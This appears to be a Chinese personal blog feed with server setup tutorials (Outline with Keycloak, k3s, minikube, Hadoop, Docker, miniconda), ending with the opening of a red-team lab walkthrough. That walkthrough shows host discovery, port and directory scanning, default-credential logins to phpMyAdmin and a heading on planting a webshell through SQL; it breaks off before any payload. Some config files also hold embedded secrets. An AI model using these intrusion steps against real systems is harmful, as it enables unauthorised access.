Izumi Konata

使用docker搭建本地知识库Outline 使用keycloak实现本地注册认证

Sun, 02 Nov 2025 00:00:00 +0000

Outline搭建

参考文献：docker基于本地存储部署outline团队知识库_outline部署

准备

安装docker、和 docker compose 插件

# 常规更新起手
sudo apt update

# 安装Docker
sudo apt install docker.io -y
sudo systemctl enable docker && sudo systemctl start docker
sudo usermod -aG docker $USER  # 授予当前用户Docker权限（需重新登录生效）

# 安装Docker Compose

sudo apt install docker-compose-plugin -y
# 验证安装：显示版本即成功
docker compose version

docker配置镜像源

# 创建配置文件
vim /etc/docker/daemon.json

# 粘贴下面内容
{
  "registry-mirrors": [
    "https://docker.1ms.run",
    "https://docker-0.unsee.tech",
    "https://docker.m.daocloud.io"
  ],
  "live-restore": true,
  "features": { "buildkit": true }
}

# 重启docker
systemctl daemon-reload
systemctl restart docker

部署

创建文件夹路径

# 创建文件路径
/
└── data/
    ├── keycloak
    │   └── docker-compose.yml
    └── outline
        ├── docker-compose.yml
        ├── docker.env
        └── redis.conf

keycloak/docker-compose.yml

name: 'keycloak'

networks:
  stack-network:
    external: true

volumes:
  keycloak-postgres:

services:
  postgres-keycloak:
    image: ${KEYCLOAK_POSTGRES_IMAGE_TAG}
    volumes:
      - keycloak-postgres:/var/lib/postgresql/data
    environment:
      POSTGRES_DB: ${KEYCLOAK_DB_NAME}
      POSTGRES_USER: ${KEYCLOAK_DB_USER}
      POSTGRES_PASSWORD: ${KEYCLOAK_DB_PASSWORD}
    networks:
      - stack-network
    healthcheck:
      test: [ "CMD", "pg_isready", "-q", "-d", "${KEYCLOAK_DB_NAME}", "-U", "${KEYCLOAK_DB_USER}" ]
      interval: 10s
      timeout: 5s
      retries: 3
      start_period: 60s
    restart: unless-stopped

  keycloak:
    image: ${KEYCLOAK_IMAGE_TAG}
    command: start-dev
    environment:
      KC_DB: postgres
      KC_DB_URL_HOST: postgres-keycloak
      KC_DB_URL_DATABASE: ${KEYCLOAK_DB_NAME}
      KC_DB_USERNAME: ${KEYCLOAK_DB_USER}
      KC_DB_PASSWORD: ${KEYCLOAK_DB_PASSWORD}
      KC_DB_SCHEMA: public
      KEYCLOAK_ADMIN: ${KEYCLOAK_ADMIN_USERNAME}
      KEYCLOAK_ADMIN_PASSWORD: ${KEYCLOAK_ADMIN_PASSWORD}
      KC_HEALTH_ENABLED: 'true'
      KC_HOSTNAME: ${KEYCLOAK_HOSTNAME}
      KC_HTTP_ENABLED: 'true'
      KC_PROXY_HEADERS: 'xforwarded'
      PROXY_ADDRESS_FORWARDING: 'true'
    ports:
      - "8080:8080"
    networks:
      - stack-network
    healthcheck:
      test:
      - "CMD-SHELL"
      - |
        exec 3<>/dev/tcp/localhost/9000 &&
        echo -e 'GET /health/ready HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n' >&3 &&
        cat <&3 | tee /tmp/healthcheck.log | grep -q '200 OK'
      interval: 10s
      timeout: 5s
      retries: 3
      start_period: 90s
    restart: unless-stopped
    depends_on:
      postgres-keycloak:
        condition: service_healthy

outline/docker-compose.yml

name: "outline"

networks:
  stack-network:
    external: true

services:

  outline:
    image: outlinewiki/outline:0.78.0
    env_file: ./docker.env
    networks:
      - stack-network
    ports:
      - "3000:3000"
    volumes:
      - storage-data:/var/lib/outline/data
    depends_on:
      - postgres
      - redis

  redis:
    image: redis:7-alpine
    env_file: ./docker.env
    networks:
      - stack-network
    ports:
      - "6379:6379"
    volumes:
      - ./redis.conf:/redis.conf
    command: ["redis-server", "/redis.conf"]
    healthcheck:
      test: ["CMD", "redis-cli", "ping"]
      interval: 10s
      timeout: 30s
      retries: 3

  postgres:
    image: postgres:16-alpine
    env_file: ./docker.env
    networks:
      - stack-network
    ports:
      - "5432:5432"
    volumes:
      - database-data:/var/lib/postgresql/data
    healthcheck:
      test: ["CMD", "pg_isready", "-d", "outline", "-U", "user"]
      interval: 30s
      timeout: 20s
      retries: 3
    environment:
      POSTGRES_USER: 'user'
      POSTGRES_PASSWORD: 'pass'
      POSTGRES_DB: 'outline'

volumes:
  storage-data:
  database-data:

outline/docker.env.txt

# –––––––––––––––– REQUIRED ––––––––––––––––

NODE_ENV=production

# Generate a hex-encoded 32-byte random key. You should use 33688ac543ce11e5a5e75627821bb72c9f175117b86a734d4421e9264ce6f35d
# in your terminal to generate a random value.
SECRET_KEY=98ea98adade7b6af8c4252651b195d4083c484b833b8e0e638623ae60cc7d24e

# Generate a unique random key. The format is not important but you could still use
# ad2d30c9b96ab4fbb192a8eb594215334bd93eea583453e8abfe2e1bb05802c7 in your terminal to produce this.
UTILS_SECRET=98ea98adade7b6af8c4252651b195d4083c484b833b8e0e638623ae60cc7d24e

# For production point these at your databases, in development the default
# should work out of the box.
DATABASE_URL=postgres://user:pass@postgres:5432/outline
DATABASE_CONNECTION_POOL_MIN=
DATABASE_CONNECTION_POOL_MAX=
# Uncomment this to disable SSL for connecting to Postgres
PGSSLMODE=disable

# For redis you can either specify an ioredis compatible url like this
REDIS_URL=redis://redis:6379
# or alternatively, if you would like to provide additional connection options,
# use a base64 encoded JSON connection option object. Refer to the ioredis documentation
# for a list of available options.
# Example: Use Redis Sentinel for high availability
# {"sentinels":[{"host":"sentinel-0","port":26379},{"host":"sentinel-1","port":26379}],"name":"mymaster"}
# REDIS_URL=ioredis://eyJzZW50aW5lbHMiOlt7Imhvc3QiOiJzZW50aW5lbC0wIiwicG9ydCI6MjYzNzl9LHsiaG9zdCI6InNlbnRpbmVsLTEiLCJwb3J0IjoyNjM3OX1dLCJuYW1lIjoibXltYXN0ZXIifQ==

# URL should point to the fully qualified, publicly accessible URL. If using a
# proxy the port in URL and PORT may be different.
URL=http://192.168.1.11:3000
PORT=3000

# See [documentation](docs/SERVICES.md) on running a separate collaboration
# server, for normal operation this does not need to be set.
COLLABORATION_URL=

# Specify what storage system to use. Possible value is one of "s3" or "local".
# For "local", the avatar images and document attachments will be saved on local disk. 
FILE_STORAGE=local

# If "local" is configured for FILE_STORAGE above, then this sets the parent directory under
# which all attachments/images go. Make sure that the process has permissions to create
# this path and also to write files to it.
FILE_STORAGE_LOCAL_ROOT_DIR=/var/lib/outline/data

# Maximum allowed size for the uploaded attachment.
FILE_STORAGE_UPLOAD_MAX_SIZE=262144000

# Override the maximum size of document imports, generally this should be lower
# than the document attachment maximum size.
FILE_STORAGE_IMPORT_MAX_SIZE=

# Override the maximum size of workspace imports, these can be especially large
# and the files are temporary being automatically deleted after a period of time.
FILE_STORAGE_WORKSPACE_IMPORT_MAX_SIZE=

# To support uploading of images for avatars and document attachments in a distributed 
# architecture an s3-compatible storage can be configured if FILE_STORAGE=s3 above.
AWS_ACCESS_KEY_ID=
AWS_SECRET_ACCESS_KEY=
AWS_REGION=
AWS_S3_ACCELERATE_URL=
AWS_S3_UPLOAD_BUCKET_URL=
AWS_S3_UPLOAD_BUCKET_NAME=
AWS_S3_FORCE_PATH_STYLE=
AWS_S3_ACL=

# –––––––––––––– AUTHENTICATION ––––––––––––––

# Third party signin credentials, at least ONE OF EITHER Google, Slack,
# or Microsoft is required for a working installation or you'll have no sign-in
# options.

# To configure Slack auth, you'll need to create an Application at
# => https://api.slack.com/apps
#
# When configuring the Client ID, add a redirect URL under "OAuth & Permissions":
# https://<URL>/auth/slack.callback
SLACK_CLIENT_ID=
SLACK_CLIENT_SECRET=

# To configure Google auth, you'll need to create an OAuth Client ID at
# => https://console.cloud.google.com/apis/credentials
#
# When configuring the Client ID, add an Authorized redirect URI:
# https://<URL>/auth/google.callback
GOOGLE_CLIENT_ID=
GOOGLE_CLIENT_SECRET=

# To configure Microsoft/Azure auth, you'll need to create an OAuth Client. See
# the guide for details on setting up your Azure App:
# => https://wiki.generaloutline.com/share/dfa77e56-d4d2-4b51-8ff8-84ea6608faa4
AZURE_CLIENT_ID=
AZURE_CLIENT_SECRET=
AZURE_RESOURCE_APP_ID=

# To configure generic OIDC auth, you'll need some kind of identity provider.
# See documentation for whichever IdP you use to acquire the following info:
# Redirect URI is https://<URL>/auth/oidc.callback
OIDC_CLIENT_ID=outline
OIDC_CLIENT_SECRET=zmnUeCs2gxqdNgakM7NcRqdBYnVX47gf
OIDC_AUTH_URI="http://192.168.1.11:8080/realms/outline/protocol/openid-connect/auth"
OIDC_TOKEN_URI="http://192.168.1.11:8080/realms/outline/protocol/openid-connect/token"
OIDC_USERINFO_URI="http://192.168.1.11:8080/realms/outline/protocol/openid-connect/userinfo"
OIDC_LOGOUT_URI=

# Specify which claims to derive user information from
# Supports any valid JSON path with the JWT payload
OIDC_USERNAME_CLAIM=preferred_username

# Display name for OIDC authentication
OIDC_DISPLAY_NAME=keycloak

# Space separated auth scopes.
OIDC_SCOPES=openid profile email

# To configure the GitHub integration, you'll need to create a GitHub App at
# => https://github.com/settings/apps
#
# When configuring the Client ID, add a redirect URL under "Permissions & events":
# https://<URL>/api/github.callback
GITHUB_CLIENT_ID=
GITHUB_CLIENT_SECRET=
GITHUB_APP_NAME=
GITHUB_APP_ID=
GITHUB_APP_PRIVATE_KEY=

# To configure Discord auth, you'll need to create a Discord Application at
# => https://discord.com/developers/applications/
#
# When configuring the Client ID, add a redirect URL under "OAuth2":
# https://<URL>/auth/discord.callback
DISCORD_CLIENT_ID=
DISCORD_CLIENT_SECRET=

# DISCORD_SERVER_ID should be the ID of the Discord server that Outline is
# integrated with. 
# Used to verify that the user is a member of the server as well as server
# metadata such as nicknames, server icon and name.
DISCORD_SERVER_ID=

# DISCORD_SERVER_ROLES should be a comma separated list of role IDs that are
# allowed to access Outline. If this is not set, all members of the server
# will be allowed to access Outline.
# DISCORD_SERVER_ID and DISCORD_SERVER_ROLES must be set together.
DISCORD_SERVER_ROLES=

# –––––––––––––––– OPTIONAL ––––––––––––––––

# Base64 encoded private key and certificate for HTTPS termination. This is only
# required if you do not use an external reverse proxy. See documentation:
# https://wiki.generaloutline.com/share/1c922644-40d8-41fe-98f9-df2b67239d45
SSL_KEY=
SSL_CERT=

# If using a Cloudfront/Cloudflare distribution or similar it can be set below.
# This will cause paths to javascript, stylesheets, and images to be updated to
# the hostname defined in CDN_URL. In your CDN configuration the origin server
# should be set to the same as URL.
CDN_URL=

# Auto-redirect to https in production. The default is true but you may set to
# false if you can be sure that SSL is terminated at an external loadbalancer.
FORCE_HTTPS=false

# Have the installation check for updates by sending anonymized statistics to
# the maintainers
ENABLE_UPDATES=true

# How many processes should be spawned. As a reasonable rule divide your servers
# available memory by 512 for a rough estimate
WEB_CONCURRENCY=1

# You can remove this line if your reverse proxy already logs incoming http
# requests and this ends up being duplicative
DEBUG=http

# Configure lowest severity level for server logs. Should be one of
# error, warn, info, http, verbose, debug and silly
LOG_LEVEL=info

# For a complete Slack integration with search and posting to channels the
# following configs are also needed, some more details
# => https://wiki.generaloutline.com/share/be25efd1-b3ef-4450-b8e5-c4a4fc11e02a
#
SLACK_VERIFICATION_TOKEN=
SLACK_APP_ID=
SLACK_MESSAGE_ACTIONS=

# For Dropbox integration, follow these instructions to get the key https://www.dropbox.com/developers/embedder#setup
# and do not forget to whitelist your domain name in the app settings
DROPBOX_APP_KEY=

# Optionally enable Sentry (sentry.io) to track errors and performance,
# and optionally add a Sentry proxy tunnel for bypassing ad blockers in the UI:
# https://docs.sentry.io/platforms/javascript/troubleshooting/#using-the-tunnel-option)
SENTRY_DSN=
SENTRY_TUNNEL=

# To support sending outgoing transactional emails such as "document updated" or
# "you've been invited" you'll need to provide authentication for an SMTP server
SMTP_HOST=
SMTP_PORT=
SMTP_USERNAME=
SMTP_PASSWORD=
SMTP_FROM_EMAIL=
SMTP_REPLY_EMAIL=
SMTP_TLS_CIPHERS=
SMTP_SECURE=true

# The default interface language. See translate.getoutline.com for a list of
# available language codes and their rough percentage translated.
DEFAULT_LANGUAGE=en_US

# Optionally enable rate limiter at application web server
RATE_LIMITER_ENABLED=true

# Configure default throttling parameters for rate limiter
RATE_LIMITER_REQUESTS=1000
RATE_LIMITER_DURATION_WINDOW=60

# Iframely API config
#IFRAMELY_URL=
#IFRAMELY_API_KEY=

启动

# 移动到 有 docker-compose.yml文件的路径下

# 启动 keycloak
cd /data/keycloak
# 启动
docker compose up -d

# 启动outline
cd /data/outline
# 启动
docker compose up -d

# 停止
docker compose down

Ubuntu-service-2024使用k3s搭建kubernetes

Fri, 19 Sep 2025 00:00:00 +0000

Ubuntu-service-2024使用k3s搭建kubernetesk3s

安装&使用

# 国内镜像源安装
curl -sfL https://rancher-mirror.rancher.cn/k3s/k3s-install.sh | INSTALL_K3S_MIRROR=cn sh -s - \
--system-default-registry "registry.cn-hangzhou.aliyuncs.com"

# 卸载
sudo k3s-uninstall.sh

# 检查, 要多等一会
kubectl get nodes
kubectl get pod -A # 查看是不是都是 0/1, 如果只有1个就没问题

# docker镜像导出为 tar文件, 要确保导出前的镜像可用
docker save test -o test.tar
# 导入 ctr , 这样 kubenetes 就可以用本地镜像了
sudo k3s ctr image import test.tar
# 查看 ctr 里的镜像
sudo k3s ctr image list

# 启动并公开服务给集群外部访问
# 命令创建 deployment, --port 表示deploy服务端口为80
sudo kubectl create deployment nginx --image=base_images/base_nginx --port 80
# 查看
sudo kubectl get all
# 启动service , 类型为 NodePort, --target-port=80 是deploy服务所在端口, --node-port=30080就是service对集群外提供服务的端口
sudo kubectl expose deployment base-nginx --type=NodePort --port=80 --target-port=80 --name=base-nginx-service --node-port=30080
# 查看
sudo kubectl get all

# 启动完,可能 netstat 查看不到 service 监听的端口, 但是可以正常访问
sudo kubectl get svc -o wide

Ubuntu-service-2024使用minicube搭建kubernetes

Fri, 19 Sep 2025 00:00:00 +0000

Ubuntu-service-2024使用minicube搭建kubernetes

minikube下载安装

官方文档

常用命令

# 检查 minikube 状态
minikube status
# 查看集群信息
minikube kubectl --  cluster-info
# 查看节点信息
minikube kubectl --  get nodes
# 进入 minikube 环境
minikube ssh
# 检查集群状态
minikube status
# 查看所有 Pod
minikube kubectl --  get pods
# 查看 Pod 日志
minikube kubectl --  logs <pod-name>

一般查看官方文档就行,下面是我遇到的问题和解决方案

环境: 2核4G的Ubuntu虚拟机, 驱动是docker 下面是启动脚本

#!/bin/bash
#
export HTTP_PROXY=http://your-proxy:port
export HTTPS_PROXY=http://your-proxy:port
# 使用阿里云镜像启动 minikube, 不过好像没什么用, 不加代理还是不行
minikube start --driver=docker \
  --image-mirror-country='cn' \
  --image-repository='registry.cn-hangzhou.aliyuncs.com/google_containers' \
  --memory=2048mb \
  --cpus=2 \
  --force

无法访问docker的权限问题导致启动失败

解决方案:

# 1.将当前用户添加到 docker 组
sudo usermod -aG docker $USER
# 退出当前会话并重新登录，或者使用以下命令立即生效
newgrp docker

# 2.使用root用户启动

# 3.不使用docker驱动, 可以直接在主机运行或者使用 kvm的等
# 加上参数 
--driver=none 	#直接在物理机运行kubernetes ctl
--driver=kvm	#使用kvm替代docker

docker驱动时,第一次启动需要拉取镜像的网络问题

解决方案:

1
2
3

# 加代理
export HTTP_PROXY=http://your-proxy:port
export HTTPS_PROXY=http://your-proxy:port

未安装虚拟机驱动导致minikube start 报错 Exiting due to DRV_NOT_DETECTED

1
2

# 安装 KVM 如 Ubuntu：
sudo apt install qemu-kvm

资源不足导致启动失败

# 调整资源分配, 看自己情况给多或者给少一些
minikube config set memory 4096  # 分配 4GB 内存
minikube config set cpus 2       # 分配 2 核 CPU
minikube delete && minikube start

未清理旧集群, 多次启动失败后残留配置冲突

1
2

# 彻底删除旧集群
minikube delete --all --purge

运行第一个 Kubernetes 应用

# 部署 Nginx 服务, 需要docker里有nginx镜像
minikube kubectl -- create deployment fuzzing --image=fuzzing

# --port=8000 指要监听容器的80端口, 也就是镜像提供服务的端口
minikube kubectl -- create deployment fuzzing --image=utibetctf/fuzzing --port=80

# --port=8000 service的端口
# --target-port 80 转发到 Pod 的哪个端口
minikube kubectl --  expose deployment fuzzing --type=NodePort --port=8000 --target-port 80

# 访问服务
minikube service nginx
# 查看 Service 详情
minikube kubectl --  get service fuzzing -o wide

# 删除
# 首先查看所有资源
minikube kubectl --  get all --show-labels
# 根据显示的资源名称精确删除
minikube kubectl --  delete deployment/<name> service/<name>

超详细 Hadoop 集群搭建指南：从环境准备到成功启动

Wed, 10 Sep 2025 00:00:00 +0000

超详细 Hadoop 集群搭建指南：从环境准备到成功启动

作为大数据生态体系的核心框架，Hadoop 的分布式集群部署是入门大数据技术的关键一步。本文将以Hadoop 3.3.4 版本为例，带大家从零开始搭建一个 3 节点（1 主 2 从）的 Hadoop 集群，全程附带关键配置代码和避坑要点，确保新手也能顺利完成搭建。

一、环境准备：打好集群基础

在正式搭建前，需先完成硬件规划、操作系统配置和软件依赖安装，这是集群稳定运行的前提。

1.1 集群节点规划

本次搭建采用 “1 主 2 从” 架构，节点角色分配如下（可根据实际服务器数量调整）：

节点 IP	主机名	角色	硬件建议（最低配置）
192.168.1.10	hadoop01	NameNode、ResourceManager	2 核 4G 内存、50G 硬盘
192.168.1.11	hadoop02	DataNode、NodeManager	2 核 2G 内存、50G 硬盘
192.168.1.12	hadoop03	DataNode、NodeManager	2 核 2G 内存、50G 硬盘

注意：所有节点需处于同一局域网，且关闭防火墙（避免端口拦截）。

1.2 操作系统配置（所有节点执行）

本文使用CentOS 7系统，以下操作需以root用户或sudo权限执行：

（1）关闭防火墙与 SELinux

Hadoop 集群各节点间需通过多个端口通信，关闭防火墙可避免配置复杂的端口规则：

# 关闭防火墙（临时+永久）

systemctl stop firewalld

systemctl disable firewalld

# 关闭SELinux（临时+永久）

setenforce 0

sed -i 's/SELINUX=enforcing/SELINUX=disabled/' /etc/selinux/config

（2）配置主机名与 IP 映射

设置主机名（每个节点执行对应命令）：

# hadoop01节点

hostnamectl set-hostname hadoop01

# hadoop02节点

hostnamectl set-hostname hadoop02

# hadoop03节点

hostnamectl set-hostname hadoop03

配置 IP 映射（所有节点执行，将 IP 替换为你的实际节点 IP）：

echo "192.168.1.10 hadoop01" >> /etc/hosts

echo "192.168.1.11 hadoop02" >> /etc/hosts

echo "192.168.1.12 hadoop03" >> /etc/hosts

（3）安装 Java 环境

Hadoop 依赖 Java（需 JDK 8 及以上版本），推荐使用 OpenJDK：

# 安装OpenJDK 8

yum install -y java-1.8.0-openjdk-devel

# 验证安装（出现版本信息则成功）

java -version

javac -version

# 配置JAVA_HOME环境变量（所有节点执行）

echo "export JAVA_HOME=/usr/lib/jvm/java-1.8.0-openjdk" >> /etc/profile

echo "export PATH=$PATH:$JAVA_HOME/bin" >> /etc/profile

source /etc/profile  # 生效配置

1.3 配置 SSH 免密登录（主节点→从节点）

Hadoop 主节点（hadoop01）需通过 SSH 免密登录到所有从节点，避免启动集群时输入密码：

# 在hadoop01节点生成SSH密钥（一路回车，不设置密码）

ssh-keygen -t rsa

# 将公钥分发到所有节点（包括自身）

ssh-copy-id hadoop01

ssh-copy-id hadoop02

ssh-copy-id hadoop03

# 验证免密登录（无密码提示则成功）

ssh hadoop02

二、Hadoop 安装与核心配置

2.1 下载并解压 Hadoop（主节点执行）

从 Apache 官网下载 Hadoop 安装包，推荐使用稳定版 3.3.4：

# 下载Hadoop（也可手动下载后上传）

wget https://archive.apache.org/dist/hadoop/core/hadoop-3.3.4/hadoop-3.3.4.tar.gz

# 解压到/usr/local目录

tar -zxvf hadoop-3.3.4.tar.gz -C /usr/local/

# 重命名为hadoop（方便后续操作）

mv /usr/local/hadoop-3.3.4 /usr/local/hadoop

2.2 配置 Hadoop 环境变量（所有节点执行）

# 编辑profile文件

vim /etc/profile

# 添加以下内容（末尾添加）

export HADOOP_HOME=/usr/local/hadoop

export PATH=$PATH:$HADOOP_HOME/bin:$HADOOP_HOME/sbin

# 生效配置

source /etc/profile

# 验证（出现版本信息则成功）

hadoop version

2.3 修改 Hadoop 核心配置文件（主节点执行）

Hadoop 配置文件位于$HADOOP_HOME/etc/hadoop/目录，需修改以下 5 个关键文件：

（1）hadoop-env.sh（指定 Java 路径）

vim $HADOOP_HOME/etc/hadoop/hadoop-env.sh

# 添加Java环境变量（替换为你的JAVA_HOME路径）

export JAVA_HOME=/usr/lib/jvm/java-1.8.0-openjdk

（2）core-site.xml（核心配置：指定 NameNode 地址）

vim $HADOOP_HOME/etc/hadoop/core-site.xml

# 在<configuration>标签内添加：

<property>

   <name>fs.defaultFS</name>

   <!-- NameNode地址：hdfs://主机名:端口 -->

   <value>hdfs://hadoop01:9000</value>

</property>

<property>

   <name>hadoop.tmp.dir</name>

   <!-- Hadoop临时目录（需手动创建） -->

   <value>/usr/local/hadoop/tmp</value>

</property>

（3）hdfs-site.xml（HDFS 配置：副本数、NameNode/DataNode 存储路径）

vim $HADOOP_HOME/etc/hadoop/hdfs-site.xml

# 在<configuration>标签内添加：

<property>

   <name>dfs.replication</name>

   <!-- 副本数（建议<=从节点数，这里设为2） -->

   <value>2</value>

</property>

<property>

   <name>dfs.namenode.name.dir</name>

   <!-- NameNode数据存储路径（需手动创建） -->

   <value>/usr/local/hadoop/dfs/name</value>

</property>

<property>

   <name>dfs.datanode.data.dir</name>

   <!-- DataNode数据存储路径（需手动创建） -->

   <value>/usr/local/hadoop/dfs/data</value>

</property>

<!-- 关闭HDFS权限检查（新手友好） -->

<property>

   <name>dfs.permissions.enabled</name>

   <value>false</value>

</property>

（4）mapred-site.xml（MapReduce 配置：指定 YARN 为资源管理器）

vim $HADOOP_HOME/etc/hadoop/mapred-site.xml

# 在<configuration>标签内添加：

<property>

   <name>mapreduce.framework.name</name>

   <!-- 指定MapReduce运行在YARN上 -->

   <value>yarn</value>

</property>

<property>

   <name>mapreduce.application.classpath</name>

   <!-- Hadoop 3.x需指定classpath，避免启动报错 -->

   <value>$HADOOP_HOME/share/hadoop/mapreduce/*:$HADOOP_HOME/share/hadoop/mapreduce/lib/*</value>

</property>

（5）yarn-site.xml（YARN 配置：指定 ResourceManager 地址、节点管理器环境）

vim $HADOOP_HOME/etc/hadoop/yarn-site.xml

# 在<configuration>标签内添加：

<property>

   <name>yarn.resourcemanager.hostname</name>

   <!-- ResourceManager运行在主节点hadoop01 -->

   <value>hadoop01</value>

</property>

<property>

   <name>yarn.nodemanager.aux-services</name>

   <!-- 启用MapReduce的shuffle服务 -->

   <value>mapreduce_shuffle</value>

</property>

<!-- 解决Hadoop 3.x内存溢出问题 -->

<property>

   <name>yarn.nodemanager.vmem-check-enabled</name>

   <value>false</value>

</property>

2.4 指定从节点（主节点执行）

编辑workers文件（Hadoop 3.x 用workers，2.x 用slaves），列出所有从节点主机名：

vim $HADOOP_HOME/etc/hadoop/workers

# 删除原有内容，添加以下两行（从节点主机名）：

hadoop02

hadoop03

2.5 同步配置到所有从节点（主节点执行）

将主节点配置好的 Hadoop 目录同步到所有从节点，避免重复配置：

# 同步到hadoop02

scp -r /usr/local/hadoop hadoop02:/usr/local/

# 同步到hadoop03

scp -r /usr/local/hadoop hadoop03:/usr/local/

# 同步环境变量配置（所有从节点执行source生效）

scp /etc/profile hadoop02:/etc/

scp /etc/profile hadoop03:/etc/

2.6 创建 Hadoop 数据目录（所有节点执行）

根据hdfs-site.xml中配置的路径，创建对应的目录：

mkdir -p /usr/local/hadoop/tmp

mkdir -p /usr/local/hadoop/dfs/name

mkdir -p /usr/local/hadoop/dfs/data

# 设置目录权限（避免权限不足）

chown -R $USER:$USER /usr/local/hadoop/

三、格式化 HDFS 与启动集群

3.1 格式化 NameNode（仅主节点执行）

注意：仅首次搭建时执行一次，重复执行会清空 HDFS 数据！

`1`	`hdfs namenode -format`

执行成功后，会显示successfully formatted字样，同时在/usr/local/hadoop/dfs/name目录下生成初始化数据。

3.2 启动 Hadoop 集群（主节点执行）

Hadoop 提供两种启动方式：分步启动（便于排查问题）和一键启动（高效）。

（1）分步启动（推荐新手）

# 启动HDFS（NameNode、DataNode）

hdfs --daemon start namenode

hdfs --daemon start datanode

# 启动YARN（ResourceManager、NodeManager）

yarn --daemon start resourcemanager

yarn --daemon start nodemanager

（2）一键启动（配置好 workers 后可用）

# 启动所有HDFS和YARN进程

start-dfs.sh

start-yarn.sh

# 或直接启动所有进程（包括HistoryServer）

start-all.sh

3.3 验证集群状态

（1）查看进程（主节点执行）

jps

主节点应显示以下进程：

NameNode
ResourceManager
SecondaryNameNode（HDFS 辅助节点）
Jps

从节点（hadoop02、hadoop03）应显示：

DataNode
NodeManager
Jps

（2）Web UI 验证

Hadoop 提供 Web 界面查看集群状态，需确保浏览器能访问节点 IP：

HDFS 状态：访问 http://hadoop01:9870（Hadoop 3.x 端口为 9870，2.x 为 50070），在「Datanodes」页面可看到 2 个从节点在线。
YARN 状态：访问 http://hadoop01:8088，在「Nodes」页面可看到 2 个 NodeManager 节点。

（3）执行 HDFS 命令验证

# 创建测试目录

hdfs dfs -mkdir /test

# 上传本地文件到HDFS

echo "hello hadoop" > test.txt

hdfs dfs -put test.txt /test/

# 查看HDFS文件

hdfs dfs -ls /test/

hdfs dfs -cat /test/test.txt

若能正常执行上述命令，说明 HDFS 功能正常。

四、常见问题与避坑指南

启动 DataNode 失败？

原因：重复格式化 NameNode 导致 DataNode 的 clusterID 与 NameNode 不匹配。

解决：删除所有节点的/usr/local/hadoop/dfs/data目录，重新格式化 NameNode（仅一次）。
Web UI 无法访问？

原因：防火墙未关闭、IP 映射配置错误或端口被占用。

解决：重新执行防火墙关闭命令，检查/etc/hosts配置，用netstat -tunlp | grep 9870查看端口是否被占用。
YARN 启动后 NodeManager 不在线？

原因：yarn-site.xml配置错误或内存不足。

解决：检查yarn.resourcemanager.hostname是否为 hadoop01，添加yarn.nodemanager.vmem-check-enabled=false关闭内存检查。

五、总结

本文详细讲解了 3 节点 Hadoop 集群的搭建流程，核心步骤可概括为：环境准备→配置免密→Hadoop 配置→同步节点→格式化启动→验证状态。对于新手而言，重点关注 IP 映射、SSH 免密、配置文件路径和权限这几个环节，即可避免大部分问题。

后续可进一步学习 Hadoop 的分布式计算（MapReduce）、YARN 资源调度等功能，或搭建 HBase、Spark 等生态组件，逐步深入大数据技术领域。

（注：文档部分内容由 AI 生成）

Ubuntu-service-2024安装docker和docker-compose

Tue, 02 Sep 2025 00:00:00 +0000

Ubuntu-service-2024安装docker

检查并卸载老版本

`1`	`sudo apt-get remove docker docker-engine docker.io containerd runc`

安装新版本

# 常规更新起手
sudo apt update

# 安装docker依赖
# Docker在Ubuntu上依赖一些软件包。执行以下命令来安装这些依赖
sudo apt-get install ca-certificates curl gnupg lsb-release

# 添加Docker官方GPG密钥
curl -fsSL http://mirrors.aliyun.com/docker-ce/linux/ubuntu/gpg | sudo apt-key add -

# 添加Docker软件源
sudo add-apt-repository "deb [arch=amd64] http://mirrors.aliyun.com/docker-ce/linux/ubuntu $(lsb_release -cs) stable"

# 安装docker引擎
sudo apt update
sudo apt install docker-ce docker-ce-cli containerd.io docker-compose-plugin

# 配置用户组（可选,推荐）
# 默认情况下，只有root用户和docker组的用户才能运行Docker命令。我们可以将当前用户添加到docker组，以避免每次使用Docker时都需要使用sudo。

# 将当前用户添加到 docker 组
sudo usermod -aG docker $USER

# 退出当前会话并重新登录，或者使用以下命令立即生效
newgrp docker

# 启动docker并且配置开机启动
sudo systemctl start docker
sudo systemctl status docker
sudo systemctl enable docker

pip 安装 docker-compose

# 更新pip
pip3 install --upgrade pip -i https://pypi.tuna.tsinghua.edu.cn/simple

#安装 docker-compose：
pip3 install docker-compose -i https://pypi.tuna.tsinghua.edu.cn/simple

# 检查安装
docker-compose version

Ubuntu-service-2024安装miniconda管理python环境

Tue, 02 Sep 2025 00:00:00 +0000

安装miniconda

# 下载
wget https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh

# 加执行权限
chmod +x Miniconda3-latest-Linux-x86_64.sh

# 运行
./Miniconda3-latest-Linux-x86_64.sh
# 建议conda init 选 yes

# 然后退出终端, 重新连接,加载环境变量或者
source ~./bashrc  # 注意这一步要在bash环境,不能是fish之类的

conda管理python虚拟环境

conda换源

# conda 换源
# 添加清华源
conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/
conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/
conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/r/
conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/msys2/
conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/conda-forge/

# 设置显示源地址
conda config --set show_channel_urls yes

# 移除默认源（可选）
conda config --remove channels defaults

管理虚拟环境

# 创建名为 MyEnvName 的 3.11 版本的python
conda create -n MyEnvName python=3.11

# 删除虚拟环境
conda remove MyEnvName

虚拟环境中pip换源

# 激活虚拟环境
conda activate MyEnvName 
# 在bash环境中激活, 激活成功后可以启动fish等,也是激活状态

# pip 换源
pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple
pip config set global.trusted-host pypi.tuna.tsinghua.edu.cn

ATT&CK (红日靶场01)

Mon, 02 Sep 2024 00:00:00 +0000

ATT&CK红队评估（红日靶场一）

靶场下载

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

0X01-主机发现

1
2
3

sudo arp-scan -l
web服务器ip ：192.168.20.100
kali攻击机IP ：192.168.20.118

0X02-信息收集

`1`	`sudo nmap -sV -p- 192.168.20.100`

端口扫描结果

0X03-web渗透

访问web界面

这里直接是探针，试了下数据库连接 root：root 可以连接，函数上 eval函数 显示不支持

目录扫描

1
2


gobuster dir -u http://192.168.20.100/ -w /usr/share/wordlists/dirbuster/commen.txt -x php,zip,txt,html

发现phpmyadmin，尝试 root：root 登录成功

发现yxcms但是数据库查到的密码无法登录后台，插入也不行（有大佬知道怎么操作这里请指点）

sql语句写入木马

#查看写入权限 secure_file_prive 为null就是没有

